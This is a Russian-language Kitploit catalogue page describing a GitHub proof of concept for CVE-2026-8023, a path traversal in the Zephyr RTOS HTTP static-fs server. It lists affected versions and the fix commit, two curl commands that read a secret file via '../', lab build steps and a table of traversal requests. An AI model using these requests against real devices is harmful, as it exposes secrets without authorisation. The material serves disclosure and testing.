Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-8023 — PoC for CVE-2026-8023: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') | Kitploit
Инструменты/GitHubGitHub/ret2c/cve-2026-8023
Embedded Systems SecurityIoT SecurityVulnerability AnalysisExploitationWeb Application ExploitationWeb Security
GitHubret2c/cve-2026-8023

CVE-2026-8023

PoC for CVE-2026-8023: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Репозиторий
1 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Сайт

CVE-2026-8023 — Обход пути в Zephyr HTTP static-fs (PoC)

Обход пути без аутентификации в обработчике static-fs HTTP-сервера Zephyr (subsys/net/lib/http) при использовании сопоставления ресурсов с подстановочными знаками (CONFIG_HTTP_SERVER_RESOURCE_WILDCARD=y) c HTTP_RESOURCE_TYPE_STATIC_FS. Затрагивает как HTTP/1.1, так и HTTP/2.

GHSA: GHSA-hch3-53g6-jj3h

  • Затронутые версии: >= 4.0.0, < 4.3.1; >= 4.4.0, < 4.4.2
  • Подтверждено для коммита: b93e61d02d5cd08d2fc559feb0253f9de3491777 (v4.4.0-rc1-32-gb93e61d02d5)
  • Введён: коммит e55278a87be4e5534ba772b23e459882866bcd6d (2024-07-31)
  • Исправление в коммите: zephyrproject-rtos/zephyr#108531
root@kitploit:~
curl --http1.1 --path-as-is -i "http://$URL/www/../device.env"
curl --http2-prior-knowledge --path-as-is -i "http://$URL/www/../device.env"

Воспроизведение

root@kitploit:~
git clone https://github.com/zephyrproject-rtos/zephyr.git
cd zephyr && git checkout b93e61d02d5cd08d2fc559feb0253f9de3491777 && cd ..
west init -l zephyr
west update

# Скопируйте содержимое этого репозитория из pocs/ в zephyr/pocs/
docker build -f zephyr/pocs/Dockerfile.native-sim -t zephyr-httpfs-zdi .
docker run --rm -it -v "$PWD":/work -w /work zephyr-httpfs-zdi bash

# Внутри контейнера:
west build -p always -b native_sim/native/64 \
    zephyr/pocs/http_static_fs_native_sim \
    -- -DEXTRA_DTC_OVERLAY_FILE=ramdisk.overlay
./build/zephyr/zephyr.exe

Harness монтирует образ LittleFS, записывает секрет в /littlefs/device.env за пределами корня веб-сервера /littlefs/www/, открывает маршрут wildcard static-fs, а затем отправляет четыре запроса в петлю:

Скачать инструмент
ТипЗапросОжидаемый результат
HTTP1_GLOB_TRAVERSALGET /www/../device.env (HTTP/1.1)200 + секрет
HTTP1_ENCODED_TRAVERSALGET /www/%2e%2e/device.env (HTTP/1.1)404 (без декодирования)
HTTP2_GLOB_TRAVERSAL:path = /www/../device.env (HTTP/2)байты секрета
HTTP2_ENCODED_TRAVERSAL:path = /www/%2e%2e/device.env (HTTP/2)секрета нет